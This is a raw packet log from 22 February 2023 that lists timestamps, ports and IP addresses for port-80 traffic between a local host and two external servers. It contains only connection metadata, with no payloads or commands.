Feb 22, 2023 09:44:07.719054937 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719094038 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719175100 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719218016 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719294071 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719332933 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719332933 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.719405890 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719496012 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719530106 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719680071 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719698906 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719734907 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719816923 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719856024 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719871998 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719897985 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.719930887 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.719974041 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.720052004 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.720179081 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.762006044 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.762032986 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.762232065 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.762769938 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.766957998 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.860830069 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.756620884 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:12.783422947 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.783490896 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.793592930 CET	80	49718	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:12.794775009 CET	49718	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:12.795892000 CET	49722	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:12.816104889 CET	49723	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.826592922 CET	80	49720	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:12.826613903 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:12.826749086 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.826782942 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.833767891 CET	80	49722	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:12.833966017 CET	49722	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:12.834158897 CET	49722	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:12.859220982 CET	80	49723	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:12.861238003 CET	49723	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.874594927 CET	80	49722	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:12.904253006 CET	80	49723	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:12.906498909 CET	49723	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:12.949357033 CET	80	49723	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:12.952162981 CET	80	49723	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:13.001909971 CET	49722	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.064377069 CET	49723	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:13.250639915 CET	49722	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.324731112 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.361144066 CET	80	49716	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:13.361310959 CET	49716	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.366955996 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.403248072 CET	80	49724	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:13.403341055 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.403511047 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:13.441291094 CET	80	49724	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:13.501940966 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.425888062 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.462472916 CET	80	49725	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:15.462588072 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.463079929 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.500984907 CET	80	49725	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:15.549004078 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.638192892 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.676253080 CET	80	49725	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:15.720871925 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.723517895 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.761534929 CET	80	49725	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:15.814614058 CET	49725	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:15.991803885 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.034735918 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.034874916 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.077851057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.077934027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.120879889 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.123528004 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.311096907 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:16.312310934 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.347408056 CET	80	49724	208.95.112.1	192.168.2.3
Feb 22, 2023 09:44:16.347506046 CET	49724	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:44:16.355294943 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.355501890 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.355603933 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.355655909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.356107950 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.398557901 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398622036 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398682117 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398711920 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.398765087 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398782015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.398825884 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.398829937 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398888111 CET	80	49727	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.398889065 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.398977995 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.438185930 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.438323975 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.441755056 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441797972 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441822052 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441840887 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441859007 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441860914 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.441885948 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441896915 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.441922903 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.441970110 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.441983938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.442008018 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442028999 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442045927 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442065001 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442065954 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.442074060 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442092896 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442107916 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.442111015 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442148924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.442183971 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.442284107 CET	80	49727	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.442341089 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.481429100 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.481538057 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.484935999 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.484967947 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485024929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485033035 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485059977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485101938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485167980 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485219955 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485229969 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485287905 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485354900 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485409975 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485433102 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485450983 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485466957 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485491991 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485512018 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485574961 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485594988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485665083 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485678911 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485738993 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485763073 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485784054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485826015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485893011 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.485898018 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485944033 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.485948086 CET	80	49727	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.486087084 CET	80	49727	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.524688005 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.524816990 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528031111 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528062105 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528081894 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528130054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528136015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528179884 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528285027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528418064 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528469086 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528520107 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528538942 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528564930 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528568029 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528589010 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528601885 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528636932 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528723001 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528763056 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528817892 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528842926 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528862000 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528879881 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528893948 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528896093 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.528924942 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.528949976 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529026985 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529030085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529047012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529093981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529099941 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529119968 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529164076 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529247999 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529297113 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529316902 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529346943 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529364109 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529365063 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529385090 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529402971 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529450893 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529479027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529498100 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529503107 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529556990 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529567003 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529614925 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529702902 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529721022 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529758930 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529793978 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.529795885 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529807091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.529871941 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.533453941 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.567893982 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.567939043 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.568016052 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.568275928 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571156025 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571194887 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571212053 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571228981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571249962 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571285009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571312904 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571372986 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571393013 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571408987 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571440935 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571463108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571557999 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571577072 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571624994 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571650982 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571650982 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571691036 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571731091 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571737051 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571742058 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571784973 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571784973 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571842909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571863890 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571914911 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.571917057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.571969986 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572012901 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572062969 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572065115 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572086096 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572112083 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572139978 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572247982 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572272062 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572290897 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572307110 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572308064 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572349072 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572447062 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572480917 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572500944 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572540998 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572560072 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572626114 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572647095 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572685957 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572707891 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572716951 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572770119 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572798967 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572818041 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572849035 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572870016 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572890997 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.572912931 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.572997093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.573055029 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.573076010 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.573091984 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.573137045 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.573153973 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.573225021 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.611192942 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.611336946 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.611382008 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.611432076 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614285946 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614329100 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614435911 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614460945 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614557981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614598036 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614629030 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614645958 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614655018 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614748955 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614754915 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614813089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.614829063 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.614892960 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615047932 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615096092 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.615183115 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615305901 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615343094 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615493059 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615531921 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.615613937 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615736008 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615901947 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.615931988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616055012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616087914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616122007 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616168976 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616199970 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.616600990 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.616699934 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.616786003 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.616852999 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.654510975 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.654555082 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.654705048 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.657491922 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.657533884 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.657618046 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.657749891 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.657772064 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.657813072 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.657820940 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.657838106 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.657870054 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.657902002 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.658035040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.658119917 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.658165932 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.658194065 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.658222914 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.658669949 CET	80	49726	89.45.67.2	192.168.2.3
